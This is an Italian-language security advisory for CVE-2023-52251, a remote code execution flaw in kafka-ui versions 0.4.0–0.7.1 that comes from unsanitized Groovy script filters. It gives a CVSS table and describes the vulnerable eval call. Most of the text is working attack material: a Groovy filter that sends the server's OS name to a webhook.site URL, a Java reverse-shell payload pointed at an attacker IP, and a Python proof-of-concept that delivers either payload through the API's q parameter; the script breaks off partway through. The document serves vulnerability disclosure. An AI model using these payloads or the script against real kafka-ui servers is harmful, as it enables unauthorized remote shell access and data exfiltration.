
CVE-2023-52251 Esiste una vulnerabilità di esecuzione di codice in remoto in provectus/kafka-ui.
Esiste una vulnerabilità di Remote Code Execution in provectus/kafka-ui. Al momento della stesura non esiste una patch, ma il vendor è stato avvisato da noi e dal team di VINCE senza alcuna risposta. La segnalazione è stata inviata il 27 settembre 2023 a provectus sia via email che tramite GitHub Security.
Suggeriamo di commentare l'intera funzione del filtro groovy/aggiungere l'autenticazione come minimo.
| Titolo | Valore |
|---|---|
| Stringa CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H |
| ID CVE | CVE-2023-52251 |
| Descrizione CVS | È stato scoperto che provectus kafka-ui 0.4.0-0.7.1 contiene una vulnerabilità di esecuzione remota di comandi (RCE) tramite il parametro q in /api/clusters/local/topics/{topic}/messages |
| Punteggio CVSS | 9.x |
| CWE | CWE-94: Improper Control of Generation of Code ('Code Injection') |
| Fornitore | Provectus |
| Prodotto | kafka-ui |
| Link | https://github.com/provectus/kafka-ui |
| Versioni interessate | 0.4.0-0.7.1 |
| Versioni corrette | Nessuna |
| Contributori | Thingstad, BobTheShoplifter |
Tipo di vulnerabilità: Esecuzione remota di codice (RCE)
Software interessato: Kafka-ui
Versione: [0.4.0-0.7.1]
Non c'è alcuna sanitizzazione del filtro script groovy prima che venga eseguito. Questo consente a un attaccante di eseguire codice arbitrario sul server.
Nella funzione groovyScriptFilter lo "script" non viene sanitizzato prima di essere eseguito.
E viene valutato tramite eval nel motore:
var result = compiledScript.eval(bindings);
Istruzioni complete, inclusi i dettagli di configurazione specifici, per riprodurre la vulnerabilità.
Usando il filtro:
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

Invierà una richiesta al webhook con il nome del sistema operativo del server.

Approfondendo ulteriormente, possiamo usare il seguente payload per ottenere una reverse shell:
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Il payload può essere generato facilmente su https://www.revshells.com/.

Ed è stata creata anche una PoC in Python:
from time import sleep
import requests
import json
import urllib
import argparse
url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"
def get_clusters():
global clusters
clusterfetch = requests.get(url + '/api/clusters')
clusters = clusterfetch.json()
def get_topics(cluster):
topicfetch = requests.get(
url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
topics = topicfetch.json()['topics']
return topics
def get_webhooks():
webhookfetch = requests.post('https://webhook.site/token')
webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
print('URL Created: ' + webhook)
token_id = webhookfetch.json()['uuid']
headers = {"api-key": webhookfetch.json()['uuid']}
return webhook, token_id, headers
def Exploit():
try:
get_clusters()
cluster = clusters[0]['name']
topics = get_topics(cluster)
topic = topics[0]['name']
webhook, token_id, headers = get_webhooks()
checkpayload = 'new URL("'+webhook+'").text'
rcepayload = 'String host="' + c2 + \
'";int port='+port + \
';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
payload = rcepayload if mode == "rce" else checkpayload
r = requests.get(
url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
print(r.text)
r = requests.get('https://webhook.site/token/' + token_id +
'/requests?sorting=newest', headers=headers)